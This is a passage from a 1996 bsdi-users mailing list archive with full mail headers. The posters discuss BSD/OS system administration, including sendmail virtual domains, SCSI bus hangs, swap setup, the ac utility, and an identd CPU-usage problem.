necessary to configure sendmail.cf. i have a solution which = involves changing the configuration only once, then simply maintaining a = database or two. check out my solution at: http://www.sinbad.wantabe.com/virtualmail and i hope this helps you. cheers, jeff -------------------- "Well, that was a piece of cake, eh K-9?" "Piece of cake, Master? Radial slice of baked confection ... = coefficient of relevance to Key of Time: zero." -- Dr. Who -------------------- \ Jeffrey J. Libman, ops. mgr. |\ web - = http://www.wantabe.com Wantabe, Inc. |_\ ftp - ftp.wantabe.com jeffrl@wantabe.com <----|----> mail (713) 493-0718 __,.-=3D\'`^`'~=3D-..news apache is kool! bsdi is kooler! ---------- From: Chris McGlasson[SMTP:chrism@chiba.netxn.com] Sent: Wednesday, November 06, 1996 12:18 PM To: bsdi-users@BSDI.COM Subject: Virtual Domain Email I was wondering if it was necessary to configure the sendmail.cf file = for=20 setting up virtual domain email addresses? I am having problems with=20 getting a domain to receive email from a remote site. =20 I have MX files set up in my named DNS files, have added the domain to=20 the sendmail.cw, and I am able to send mail to the domain with my domain = but when it comes time to receive mail from a different domain, the mail = is rejected. Is there something I am leaving OUT? Any info would be greatly = appreciated. Thanks in advance. Chris From VM Thu Nov 7 01:16:04 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["4443" "Wed" "6" "November" "1996" "22:20:08" "-0500" "Evan Champion" "evanc@synapse.net" nil "91" "Re: V2.1, all patches, I/O (?) hung today" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA00933 for ; Wed, 6 Nov 1996 22:25:25 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id WAA10843 for bsdi-users-outgoing; Wed, 6 Nov 1996 22:21:35 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Evan Champion Sender: owner-bsdi-users@lists.gateway.com To: Jay Vassos-Libove cc: problem@BSDI.COM, bsdi-users@BSDI.COM Subject: Re: V2.1, all patches, I/O (?) hung today Date: Wed, 6 Nov 1996 22:20:08 -0500 (EST) You probably experienced what I tend to regard as a SCSI bus hang (even if that isn't a particularly technical analysis of what is going on). Sometimes when one of my systems gets in that state (doesn't very often), I find that a drive is "stuck on", or has powered down, etc. If you check your logs you'd probably see timeouts logged against your a SCSI controller. Whatever the true cause, 2.1 doesn't handle it particularly gracefully. First of all, the last time it happened to me the timeouts I was seeing were in the order of 1000 _seconds_ which is way beyond any reasonable value IMHO. If the card/device doesn't respond within 60 seconds _max_, something is very wrong. In addition, it seems that 2.1 just acknowledges that something is wrong, and goes right back to trying the device again, because programs never abort, and it doesn't try to fix the problem by forcing a bus reset/rescan, etc. Anyway, I think there are a lot of things that can be done, and I hope that some of them are done in 3.0. It's not something that happens very often (I maybe get 1 occurance every few months from 5 servers) but it is a real bugger when it does because it is almost impossible to restart the system without powering it down. Evan On Wed, 6 Nov 1996, Jay Vassos-Libove wrote: > I've been running BSD/OS V2.1 pretty much since its release date, and had > no trouble. A few days ago, I installed the most recent set of patches > and a few older ones that I had not bothered to install yet (something > like Kernel patches after K210-017). Due to slippage on my own part, I > ended up doing a very clean patch install -- I deleted /usr/src/sys/ and > installed the kernel sources from CD, then applied all patches in order, > and rebuilt the kernel. > > Things seemed fine... but then earlier this afternoon, just over four days > after the new kernel was installed and the system rebooted, the system > "hung". > > This was not a total hang, where nothing at all works. The kernel was > still able to respond to ethernet interrupts, and the kernel routing > functionality was undamaged (I ping'ed and telnet'd through the > hung machine to another machine, and was able to ping the hung machine, > but not telnet to the hung machine). > > The hang occurred after quite heavy use of Netscape Navigator (v3.0), and > happenned to occur right when I had composed a mail message in a Navigator > mail composition window and clicked Send. > > Virtual memory should not be a problem -- the system has 40M RAM and 128M > swap configured. Running the same application mix right now that I was > running prior to the hang, ~35M is allocated. Even allowing for much > greater growth in Netscape, I'm sure that the system didn't run out of > virtual memory. (Performance was fine, and the disks weren't rattling any > more than usual). > > I am the sole user of the system. It is connected to the Internet via a > dialup PPP link (USR Courier, 33.6, actually gets 31.2 connects, port > configured for 57,600 baud). It has an Adaptec 1542CF controller with two > hard disks, two CDROM readers, and a tape drive on it. I added the second > CDROM over a week ago, prior to the new kernel, and it seems to work fine. > (It isn't new, and had worked fine on other systems earlier). The system > runs X on its console (necessarily, for Netscape as described above :} ), > via an ATI Graphics Ultra Pro 2M VRAM (ISA bus) card. > > The only changes in the system are the new CDROM and the kernel patches. > While Netscape itself has crapped out on me many times (it just goes away > and/or core dumps), the system has never frozen up like this. > > Nothing out of the ordinary was logged to any of the /var/log/ files. (Is > there some place else to check? Sorry, I don't have another syslog daemon > to which I could direct a copy of log messages in case the problem was an > I/O subsystem hang... unless someone has a syslog listener for a Windows > NT 3.51 system?). > > Has anyone else seen this? Any suggestions? > > Thanks - > > Jay Vassos-Libove libove@libove.MindSpring.com > +1 770 552 0543 home +1 404 705 2867 work > Roswell, GA 30075 U.S.A. The SouthEast Regional Internet Society > SERIS - Enhancing Your Time On-Line > > -- Evan Champion * Director, Network Operations mailto:evanc@synapse.net * Directeur, Exploitation du reseau http://www.synapse.net/ * Synapse Internet From VM Thu Nov 7 01:16:13 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1500" "Wed" "6" "November" "1996" "23:20:05" "-0500" "Matthew R. Sheahan" "chaos@crystal.palace.net" nil "32" "Re: Virtual Domain Email" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA02855 for ; Wed, 6 Nov 1996 23:37:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA10972 for bsdi-users-outgoing; Wed, 6 Nov 1996 23:22:11 -0500 (EST) Message-Id: <199611070420.XAA08451@crystal.palace.net> In-Reply-To: from "Chris McGlasson" at Nov 6, 96 06:18:22 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Precedence: bulk From: "Matthew R. Sheahan" Sender: owner-bsdi-users@lists.gateway.com To: chrism@chiba.netxn.com (Chris McGlasson) Cc: bsdi-users@BSDI.COM Subject: Re: Virtual Domain Email Date: Wed, 6 Nov 1996 23:20:05 -0500 (EST) > I was wondering if it was necessary to configure the sendmail.cf file for > setting up virtual domain email addresses? I am having problems with > getting a domain to receive email from a remote site. > > I have MX files set up in my named DNS files, have added the domain to > the sendmail.cw, and I am able to send mail to the domain with my domain > but when it comes time to receive mail from a different domain, the mail > is rejected. Aside from the need to kill and restart sendmail, that sounds like it should work. However, the Cw approach has a number of drawbacks over the other main strategy of delivering mail for all addresses under the domain to a user account. To do this, place a rule of the form R$+ <@ company.com.> $#local $:company ^^^^ this is a tab under the S98 header in sendmail.cf. This will cause mail addressed to @company.com to arrive in the specified mailbox. To redirect one specific address elsewhere, write a rule _before_ this one substituting the address for the "$+". Pardon the shameless self-promotion, but if you will be setting up virtual domains on a regular basis, you may want to check out the software package Quickhost at http://www.ajna.com/products.html. It acts a great deal like adduser, automating the virtual host setup process (including the mail redirection above), and it's designed specifically for BSDI. | Matthew R. Sheahan | | Crystal Palace Networking | From VM Thu Nov 7 01:16:22 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["698" "Thu" "7" "November" "1996" "01:12:48" "-0500" "Joe Hohertz" "jhohertz@golden.net" nil "31" "Re: Need to find ac for Linux" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA04583 for ; Thu, 7 Nov 1996 00:25:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id AAA11065 for bsdi-users-outgoing; Thu, 7 Nov 1996 00:09:23 -0500 (EST) Message-ID: X-Mailer: XFMail 0.5-alpha [p0] on Linux Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 In-Reply-To: <199611070110.SAA08061@doctor.nl2k.edmonton.ab.ca> Organization: Golden Triangle On-Line Precedence: bulk From: Joe Hohertz Sender: owner-bsdi-users@lists.gateway.com To: The Doctor Cc: (Enrique Vadillo) , bsdi-users@BSDI.COM Subject: Re: Need to find ac for Linux Date: Thu, 07 Nov 1996 01:12:48 -0500 (EST) It exists for Linux already.... look for a package called sac. On 06-Nov-96 The Doctor wrote: >>> >> > > /usr/sbin/ac >> > >> > Again, I am looking for source code for this or a Linux version of thi s >> >> Hmm... why don't you just grab it from the BSD source files? huh? >> >> Enrique- >> -- >> R&D at RCP - Internet Peru >> Fax: +51 1 241-1320 >> Phone: +51 1 241-5688 >> Web Site: http://www.rcp.net.pe (PERU) >> Mirror Web Site: http://ekeko.rcp.net.pe (USA) >> >> > >I am a binary user, not source, thx. ---------------------------------- E-Mail: Joe Hohertz Date: 11/07/96 Time: 01:12:49 This message was sent by XF-Mail ---------------------------------- From VM Thu Nov 7 01:16:22 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2488" "Thu" "7" "November" "1996" "11:42:57" "+1100" "ian mcwilliam" "i.mcwilliam@st.nepean.uws.edu.au" nil "80" "Re: Swap Question" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA04581 for ; Thu, 7 Nov 1996 00:25:07 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id AAA11095 for bsdi-users-outgoing; Thu, 7 Nov 1996 00:23:07 -0500 (EST) X-Sender: ianm@mailkwd.st.nepean.uws.edu.au Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: i.mcwilliam@st.nepean.uws.edu.au (ian mcwilliam) Sender: owner-bsdi-users@lists.gateway.com To: Amy Cc: bsdi-users@BSDI.COM Subject: Re: Swap Question Date: Thu, 7 Nov 1996 11:42:57 +1100 >> How do 1: Find out the size of my current swap space. If I do a df >>on that > > free tells you the amount of memory avaiable and used, swap and real. > >> partition (/dev/sd0b) I get some really strange results. Huge numbers, an >> -% for usage: >> Filesystem 512-blocks Used Avail Capacity Mounted on >> /dev/sd0b 270654175 1329928064 1520142760 -6089% >> and 2: How do I use the new drive as swap. Is there a special way to >> format it. I would like to just use the second drive for swap only. Here is > for the first question pstat -s Amy :) wrote: >I would run disksetup, choose a tiny (or zero if it will let you) size for >the / and /usr partiton, make the swap partiton as big as you want, and >then mount it with fstab. > Why would you partition a / and /usr partition. If he is adding a new drive this is not needed. just partition a new swap volume on the new drive >> my curent fstab file. Any help would be appreciated: >> >> /dev/sd0a / ufs rw 1 1 >> /dev/sd0h /usr ufs rw,userquota 1 2 >> /dev/sd0b swap swap sw 0 0 >> /dev/sr0a /cdrom cd9660 ro,noexec,nosuid,nodev 0 0 >> /dev/sd0b /tmp mfs rw,-s=32768 0 0 >> >> >You would need to change the line that defines the swap partition >(/dev/sd0b) to the partition that you want to use, and change the line >that mounts the mfs to the same partition. You can use the existing swap partition that already exists and just add a new entry. also check your kernel config for lines like swap on sd0b and sd?????? If though you don't need to muck around with the kernel if you already have two entries in here, make you new drive the second entry and it will pick up the new swap. > >Amy :) Catch ya, ____________________________________________________________________________ Ian McWilliam. Technical Officer, Faculty of Science & Technology, Dept. of Computing. University of Western Sydney, NEPEAN. P.O.Box 10 Kingswood, N.S.W, Australia. 2560. (047) 360 757 ____________________________________________________________________________ People Get Lost in Thought 'cause it's Unknown Territory. CHIP - Found on the shoulders of Systems Support Personnel. It becomes Most evident when some fool claims that the computer has made a mistake!!!! ____________________________________________________________________________ E-Mail: ianm@st.nepean.uws.edu.au i.mcwilliam@st.nepean.uws.edu.au From VM Thu Nov 7 01:16:25 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1540" "Wed" "6" "November" "1996" "18:12:30" "-0700" "The Doctor" "doctor@doctor.nl2k.edmonton.ab.ca" nil "49" "Re: List mail being re-delivered after three months? (was: Re: \"finger\" on v2.1)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA05137 for ; Thu, 7 Nov 1996 00:47:23 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id AAA11120 for bsdi-users-outgoing; Thu, 7 Nov 1996 00:40:13 -0500 (EST) Message-Id: <199611070112.SAA08498@doctor.nl2k.edmonton.ab.ca> In-Reply-To: from "Jay Vassos-Libove" at Nov 6, 96 06:27:58 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: The Doctor Sender: owner-bsdi-users@lists.gateway.com To: libove@libove.mindspring.com (Jay Vassos-Libove) Cc: bsdi-users@BSDI.COM Subject: Re: List mail being re-delivered after three months? (was: Re: "finger" on v2.1) Date: Wed, 6 Nov 1996 18:12:30 -0700 (MST) > > > Strange! > > The message, regarding v2.1 finger dumping core, to which two people have > responded today, I posted on July 31, 1996. Evidently, it was stuck in a > queue somewhere (but it did indeed go out to the whole list, because it is > in the Nexial index, and the issue was discussed and resolved months ago). > > Someone who just received that message today, please send me the message > you received, including ALL HEADERS. > > Thanks > -Jay Not really. It was stuck in my pending box and I decided to reply after a long time. > > On Wed, 6 Nov 1996, The Doctor wrote: > > > Date: Wed, 6 Nov 1996 15:19:11 -0700 (MST) > > From: The Doctor > > To: Jay Vassos-Libove > > Cc: bsdi-users@bsdi.com > > Subject: Re: "finger" on v2.1 > > > > > > > > Is it my imagination, or does "finger" core dump on BSD/OS v2.1 when you > > > finger username@num.eric.ip.address e.g. user@1.2.3.4 ? It doesn't do > > > this for all IP addresses, but it does it for some. > > > > > > Jay Vassos-Libove libove@libove.MindSpring.com > > > +1 770 552 0543 home +1 404 705 2867 work > > > Roswell, GA 30075 U.S.A. The SouthEast Regional Internet Society > > > SERIS - Enhancing Your Time On-Line > > > > > > > > Not your imagination! > > > > Jay Vassos-Libove libove@libove.MindSpring.com > +1 770 552 0543 home +1 404 705 2867 work > Roswell, GA 30075 U.S.A. The SouthEast Regional Internet Society > SERIS - Enhancing Your Time On-Line > > From VM Fri Nov 8 01:46:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1772" "Thu" "7" "November" "1996" "02:05:35" "" "Barry Hemphill" "ubu@easynet.on.ca" nil "38" "Wanted: Mail server suggestions" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id CAA09103 for ; Thu, 7 Nov 1996 02:27:39 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id CAA12941 for bsdi-users-outgoing; Thu, 7 Nov 1996 02:10:47 -0500 (EST) Message-Id: <199611070710.CAA29943@puppy.easynet.on.ca> Comments: Authenticated sender is Organization: EasyNet Inc MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-mailer: Pegasus Mail for Win32 (v2.42) Precedence: bulk From: "Barry Hemphill" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Wanted: Mail server suggestions Date: Thu, 7 Nov 1996 02:05:35 +5 I have a client who I expect I'm going to have to put a mail server in place for. They started out with a simple dialup account and email for about 10 people in their office, so I setup Pegasus mail, and had it just send/recieve email for them every two hours. Now 6 months later (after they had to beg for any budget to start with), all 40 people in their office are gonzo on email, they've upgraded to a dedicated dialup account, and we're looking for a more flexible setup. Now, I can continue using Pegasus, but it's pretty much a chewing gum and bailing wire solution. What I'm wondering is if anyone can recommend a POP/SMTP server that I can setup on site for them. Right now the system they're using is running Win 3.1, so a server which runs on that platform would be best, but if absolutely necessary, I might be able to get them to upgrade to Win95 (NT would require a new system, so it's unlikely). At any rate, I'm sure most of you who are ISP's provide email solutions of all kinds to your clients. Have any of you set up mail servers on Windows boxes for them, and if so, can you recommend any particular server? Thanks in advance for any suggestions, Barry Hemphill Barry Hemphill EasyNet Inc. System Administrator Cambridge, Ontario, Canada ubu@easynet.on.ca (519)654-9999 fax(519)654-0301 This planet has -- or rather had -- a problem, which was this: most of the people living on it were unhappy for pretty much of the time. Many solutions were suggested for this problem, but most of these were largely concerned with the movements of small green pieces of paper, which is odd because on the whole it wasn't the small green pieces of paper that were unhappy. -- Douglas Adams From VM Fri Nov 8 01:46:28 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1100" "Wed" "6" "November" "1996" "16:05:44" "-0800" "Greg Shenaut" "sonet!greg@ucdavis.edu" nil "26" "Re: X Question... " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id DAA10173 for ; Thu, 7 Nov 1996 03:05:44 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id CAA12973 for bsdi-users-outgoing; Thu, 7 Nov 1996 02:44:24 -0500 (EST) X-Authentication-Warning: franc.ucdavis.edu: nuucp set sender to sonet!myrtle.bogs.org!greg using -f >Received: from myrtle.bogs.org (root@myrtle.bogs.org [198.137.203.39]) by asphodel.bogs.org (8.6.12/8.6.10) with ESMTP id UAA25333 for ; Wed, 6 Nov 1996 20:41:20 -0800 Message-Id: <199611070008.QAA23586@myrtle.bogs.org> In-reply-to: Your message of "Wed, 06 Nov 1996 10:36:25 MST." <199611061736.KAA22904@tao.bsdi.com> Reply-To: sonet!ucdavis.edu!gkshenaut@ucdavis.edu Content-Type: text Precedence: bulk From: Greg Shenaut Sender: owner-bsdi-users@lists.gateway.com To: sonet!bsdi.com!bsdi-users@ucdavis.edu Subject: Re: X Question... Date: Wed, 06 Nov 1996 16:05:44 -0800 In message <199611061736.KAA22904@tao.bsdi.com>, Bill Nestlerode quoth: " Nate Williams writes: " >> >Is it possible to jump back to console or another tty without shutting " >> >down X ? " >> " >> No. Unfortunately, Xinside has not put that functionality in Xaccel " >> for BSD/OS. " > " >It's not a function of the X driver, but rather a function of the " >console driver in BSDi. " " BSDI does support virtual consoles if you enable them in /etc/ttys. Ctl-Fx will " do the switch. But Alt-Ctl-Fx does not do the switch when Xaccel is running. " An engineer here at BSDI said it was something Xinside had not implemented for " BSD/OS. At any rate, it does not work. But the BSD/OS console driver doesn't support running the console in "graphics mode", that is, with bit-mapped characters. I think this is what would be required to switch reliably back an forth between an X screen and a console screen. Personally, I think being able to run in graphics mode all the time once you have booted would be great, but I agree that the plethora of graphics modes make it somewhat nontrivial. -Greg From VM Fri Nov 8 01:46:30 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["225" "Wed" "6" "November" "1996" "16:50" "PST" "Randy Bush" "randy@psg.com" nil "11" "Re: Need to find ac for Linux" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id DAA10455 for ; Thu, 7 Nov 1996 03:18:07 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id DAA13009 for bsdi-users-outgoing; Thu, 7 Nov 1996 03:09:23 -0500 (EST) Message-Id: References: <199611062150.OAA17698@doctor.nl2k.edmonton.ab.ca> Precedence: bulk From: randy@psg.com (Randy Bush) Sender: owner-bsdi-users@lists.gateway.com To: The Doctor Cc: bsdi-users@BSDI.COM Subject: Re: Need to find ac for Linux Date: Wed, 6 Nov 96 16:50 PST > Here is a STRANGE question. > > a Linux user need an equivalent of ac. > > Where can it be found? As you asked on the BSDI list, I presume you really know the answer, deinstall Linux and install UNIX, i.e. BSDI. randy From VM Fri Nov 8 01:46:39 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["700" "Thu" "7" "November" "1996" "07:55:20" "-0500" "Sam Brown" "root@ns2.clever.net" nil "30" "Re: Need to find ac for Linux" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA17980 for ; Thu, 7 Nov 1996 08:08:03 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id HAA13393 for bsdi-users-outgoing; Thu, 7 Nov 1996 07:56:29 -0500 (EST) In-Reply-To: <199611070110.SAA08061@doctor.nl2k.edmonton.ab.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: The Doctor cc: Enrique Vadillo , bsdi-users@BSDI.COM Subject: Re: Need to find ac for Linux Date: Thu, 7 Nov 1996 07:55:20 -0500 (EST) You guys know that freebsd is like 90% the same as bsdi, try www.freebsd.org i'm sure its around there somewhere. Most everything from freebsd compiles clean on bsdi cept for a few lib differences. Try that. Sam On Wed, 6 Nov 1996, The Doctor wrote: > > > > > > /usr/sbin/ac > > > > > > Again, I am looking for source code for this or a Linux version of this > > > > Hmm... why don't you just grab it from the BSD source files? huh? > > > > Enrique- > > -- > > R&D at RCP - Internet Peru > > Fax: +51 1 241-1320 > > Phone: +51 1 241-5688 > > Web Site: http://www.rcp.net.pe (PERU) > > Mirror Web Site: http://ekeko.rcp.net.pe (USA) > > > > > > I am a binary user, not source, thx. > From VM Fri Nov 8 01:46:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["698" "Thu" "7" "November" "1996" "15:23:49" "+0100" "Jos Backus" "jos@oce.nl" nil "25" "" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA20166 for ; Thu, 7 Nov 1996 09:30:09 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id JAA13595 for bsdi-users-outgoing; Thu, 7 Nov 1996 09:27:19 -0500 (EST) >Return-Path: Message-Id: <1896.847376629@oce.nl> Content-Type: text Precedence: bulk From: Jos Backus Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Date: Thu, 07 Nov 1996 15:23:49 +0100 Hi all, This is while making squid-1.1.beta12-src.tar.gz: Making all in lib... /bin/rm -f libmiscutil.a ar r libmiscutil.a rfc1123.o rfc1738.o util.o getfullhostname.o base64.o uudecode.o ar: creating archive libmiscutil.a ar: warning: getfullhostname.o truncated to getfullhostname ranlib libmiscutil.a Is this a problem (ld truncating names)? Thanks, Jos -- Jos Backus _/ _/_/_/ R-IS/SNB _/ _/ _/ Oce-Nederland B.V. _/ _/_/_/ Venlo, The Netherlands _/ _/ _/ _/ jos@oce.nl _/_/ _/_/_/ #include From VM Fri Nov 8 01:46:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2420" "Thu" "7" "November" "1996" "07:58:49" "-0500" "Sam Brown" "root@ns2.clever.net" nil "64" "Re: identd Process CPU Utilization" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA20171 for ; Thu, 7 Nov 1996 09:30:58 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id JAA13559 for bsdi-users-outgoing; Thu, 7 Nov 1996 09:18:42 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: Jon Villarreal cc: "Noel, Richard" , "'bsdi-users@gateway.com'" Subject: Re: identd Process CPU Utilization Date: Thu, 7 Nov 1996 07:58:49 -0500 (EST) Sendmail loops too. Sendmail is horrible when mail loops occur in poorly config'd VD setups. Qmail handles them much better. Anyways, check for sendmail or such. Also do a netstat -n and look for IDENTD bombers or SYN attackers. The identd flooders are pretty good at screwing your box over and its a pretty old proggie available to all the kiddies. Sam On Wed, 6 Nov 1996, Jon Villarreal wrote: > I've seen this happen if people are running IRC bots on your machine, and > they get k-lined (banned) from a server. The stupid bot keeps trying to > reconnect at the rate of several hundred times a second, and each time > the irc server is checking the identd response for that client. > > ------------------------------------------------ > Jon Villarreal > jon@grin.net > System Administration > Grin Net LLC > ------------------------------------------------ > > On Wed, 6 Nov 1996, Noel, Richard wrote: > > > > > Today I noticed the identd process is consistently utilizing > > large amounts of CPU time, ranging from a low (that I've seen > > via top) of 12% to a high of 64% and spending a lot of time in > > the 50% range. > > > > load averages: 2.45, 2.78, 3.06 > > 12:32:42 > > 145 processes: 2 running, 143 sleeping > > Cpu states: 4.4% user, 36.7% nice, 59.0% system, 0.0% interrupt, 0.0% > > idle > > Memory: Real: 24M/49M Virt: 42M/300M Free: 56M > > > > > > PID USERNAME PRI NICE SIZE RES STATE TIME WCPU CPU COMMAND > > 4620 sys 105 4 288K 424K run 53:43 60.74% 60.74% identd > > > > > > The CPU is an Intel Pentium 150MHz, 128MB main memory, BSDI 2.0.1, > > Sendmail v8.6.12. The server is on our internal network (only) and > > is used as the WWW proxy server (CERN v3.0) for internal clients, > > POP3 server, and netnews server. Uptime is 4hrs; we had to boot > > this morning because (I'm told) the web server stopped responding > > to requests for its homepage, but users could get out to the Internet. > > > > I found in USAH and Sendmail that the identd process is used by sendmail > > to identify the user and host that initiate network connections. > > > > Using tail -f on maillog and messages I don't see anything unusual. > > > > Could anyone suggest where I might look to determine what is causing > > identd to consume so much CPU time ? > > > > Thanks, > > Richard > > noel@wang.com > > > From VM Fri Nov 8 01:46:47 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2333" "Wed" "6" "November" "1996" "22:35:51" "-0800" "Mark Geisert" "admin@xenon.gem.net" nil "45" "Re: V2.1, all patches, I/O (?) hung today" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA20175 for ; Thu, 7 Nov 1996 09:31:18 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id JAA13540 for bsdi-users-outgoing; Thu, 7 Nov 1996 09:17:22 -0500 (EST) Message-Id: <199611070635.WAA10313@xenon.gem.net> Newsgroups: gem.lists.bsdi-users In-Reply-To: Organization: Gem Dot Net, a service of Maximum R&D, Los Angeles Precedence: bulk From: Mark Geisert Sender: owner-bsdi-users@lists.gateway.com To: evanc@synapse.net Cc: libove@libove.mindspring.com, problem@BSDI.COM, bsdi-users@BSDI.COM Subject: Re: V2.1, all patches, I/O (?) hung today Date: Wed, 6 Nov 1996 22:35:51 -0800 In article you write: >You probably experienced what I tend to regard as a SCSI bus hang (even if >that isn't a particularly technical analysis of what is going on). >Sometimes when one of my systems gets in that state (doesn't very often), >I find that a drive is "stuck on", or has powered down, etc. If you >check your logs you'd probably see timeouts logged against your a SCSI >controller. > >Whatever the true cause, 2.1 doesn't handle it particularly gracefully. >First of all, the last time it happened to me the timeouts I was seeing >were in the order of 1000 _seconds_ which is way beyond any reasonable >value IMHO. If the card/device doesn't respond within 60 seconds _max_, >something is very wrong. In addition, it seems that 2.1 just >acknowledges that something is wrong, and goes right back to trying the >device again, because programs never abort, and it doesn't try to fix the >problem by forcing a bus reset/rescan, etc. > >Anyway, I think there are a lot of things that can be done, and I hope >that some of them are done in 3.0. It's not something that happens very >often (I maybe get 1 occurance every few months from 5 servers) but it is >a real bugger when it does because it is almost impossible to restart the >system without powering it down. > >Evan We see a SCSI bus "hang" now and again on our news server. BSD/OS 2.0.1 would just display the number of seconds since the hang, wait a while, then display again, ad infinitem. If I remember correctly, 2.1 (the bha driver at least, maybe others) tries to reset the device, and if that fails, the SCSI bus. We backported the 2.1 driver to 2.0.1 to see if we'd get relief. Nope. Only change is one timeout message instead of many. When it's wedged that bad Ctrl-Alt-Del will start the reboot but not get past the disk controller's BIOS banner. Power cycle is what's needed. So we've automated that :-(. I reported this a while back to BSDI as 'SCSI Bus Hang Recovery Failure' or words to that effect but only got the canned SCSI help in reply (which is useful if you don't already know that stuff). FWIW the system is a P90 PCI with a BusLogic BT946 and BT956 and a bunch of disks, all internal. I'm looking for custom teflon Wide cables now. ..mark From VM Fri Nov 8 01:46:48 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1901" "Thu" "7" "November" "1996" "09:02:49" "-0500" "David Miller" "david@sparks.net" nil "56" "Re: Rec News Server Configs " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA20179 for ; Thu, 7 Nov 1996 09:31:25 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id JAA13511 for bsdi-users-outgoing; Thu, 7 Nov 1996 09:03:17 -0500 (EST) In-Reply-To: <199611010135.UAA25271@jparnas.cybercom.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: David Miller Sender: owner-bsdi-users@lists.gateway.com To: "Jacob M. Parnas" cc: Jeff Campbell , bsdi-users@BSDI.COM Subject: Re: Rec News Server Configs Date: Thu, 7 Nov 1996 09:02:49 -0500 (EST) On Thu, 31 Oct 1996, Jacob M. Parnas wrote: > > In message you write: > > > > What are others running for a news server config under 